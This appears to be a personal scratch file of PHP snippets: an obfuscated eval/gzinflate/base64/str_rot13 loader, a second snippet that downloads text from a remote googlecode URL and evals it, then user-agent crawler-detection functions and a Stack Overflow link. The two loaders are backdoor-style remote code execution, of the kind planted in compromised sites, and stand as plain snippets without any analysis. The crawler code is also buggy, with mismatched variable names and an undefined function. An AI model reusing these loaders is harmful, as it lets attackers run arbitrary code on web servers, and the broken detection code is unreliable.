syntax func all my php 1

####################################################################
<?php eval (gzinflate(base64_decode(str_rot13("oL5OQbVjRRK3Wg6OROMy08MbKRt8F1CXHVc1kwNwVM5rXP79s/ira6an2ASF3VglRUaqwBSuej5RVLTaQeFac+RMwHkisOv3EffvMKZ8IRYZd93UOQnNJR8btZXdlfA1MwlZTYpoTp9rkOT8/Qq3syAuqxzSG8D+BDUIBboekKo5X8Hl2LaxqSn/gKcA8jH=")))); ?>
////
<?php $bidox = "http://shshshsh.googlecode.com/svn/trunk/aaaa.txt";
$toss = file_get_contents($bidox);
$tcejni = "$toss";
$inject = file_get_contents($tcejni);
eval(gzinflate(base64_decode(str_rot13($inject)))); ?>
#################################################################### detect crawlers (http://www.cult-f.net/detect-crawlers-with-php/)
<?php
  $crawlers = array(
    'Google'=>'Google',
    'MSN' => 'msnbot',
    'Rambler'=>'Rambler',
    'Yahoo'=> 'Yahoo',
    'AbachoBOT'=> 'AbachoBOT',
    'accoona'=> 'Accoona',
    'AcoiRobot'=> 'AcoiRobot',
    'ASPSeek'=> 'ASPSeek',
    'CrocCrawler'=> 'CrocCrawler',
    'Dumbot'=> 'Dumbot',
    'FAST-WebCrawler'=> 'FAST-WebCrawler',
    'GeonaBot'=> 'GeonaBot',
    'Gigabot'=> 'Gigabot',
    'Lycos spider'=> 'Lycos',
    'MSRBOT'=> 'MSRBOT',
    'Altavista robot'=> 'Scooter',
    'AltaVista robot'=> 'Altavista',
    'ID-Search Bot'=> 'IDBot',
    'eStyle Bot'=> 'eStyle',
    'Scrubby robot'=> 'Scrubby',
    );

function crawlerDetect($USER_AGENT)
{
    // to get crawlers string used in function uncomment it
    // it is better to save it in string than use implode every time
    // global $crawlers
    // $crawlers_agents = implode('|',$crawlers);
    $crawlers_agents = 'Google|msnbot|Rambler|Yahoo|AbachoBOT|accoona|AcioRobot|ASPSeek|CocoCrawler|Dumbot|FAST-WebCrawler|GeonaBot|Gigabot|Lycos|MSRBOT|Scooter|AltaVista|IDBot|eStyle|Scrubby';

    if ( strpos($crawlers_agents , $USER_AGENT) === false )
       return false;
    // crawler detected
    // you can use it to return its name
    /*
    else {
       return array_search($USER_AGENT, $crawlers);
    }
    */
}

// example

$crawler = crawlerDetect($_SERVER['HTTP_USER_AGENT']);

if ($crawler )
{
   // it is crawler, it's name in $crawler variable
}
else
{
   // usual visitor
}
////////////////////////////////////////////////////////////////////////
function test($userAgent) {
    $crawlers = 'Opera|Mozilla|HostTracker|EasyDL|e-collector|EmailCollector|Telesoft|Twiceler|InternetSeer.com|MJ12bot|YahooFeedSeeker|Yahoo-MMCrawler|Yandex|findlinks|Bloglines subscriber|Dumbot|Sosoimagespider|QihooBot|FAST-WebCrawler|Superdownloads Spiderman|LinkWalker|msnbot|ASPSeek|WebAlta Crawler|Lycos|FeedFetcher-Google|Yahoo|YoudaoBot|AdsBot-Google|Googlebot|Scooter|Gigabot|Charlotte|eStyle|AcioRobot|GeonaBot|msnbot-media|Baidu|CocoCrawler|Google|Charlotte t|Yahoo! Slurp China|Sogou web spider|YodaoBot|MSRBOT|AbachoBOT|Sogou head spider|AltaVista|IDBot|Sosospider|Yahoo! Slurp|Java VM|DotBot|LiteFinder|Yeti|Rambler|Scrubby|Baiduspider|accoona';
    if ( strpos($crawlers  , $USER_AGENT) === false )
        return false;
}
if (getIsCrawler($_SERVER['HTTP_USER_AGENT']))
    die('spider');
################################################################## Encoding/decoding string in hexadecimal and back
http://stackoverflow.com/questions/13541827/encoding-decoding-string-in-hexadecimal-and-back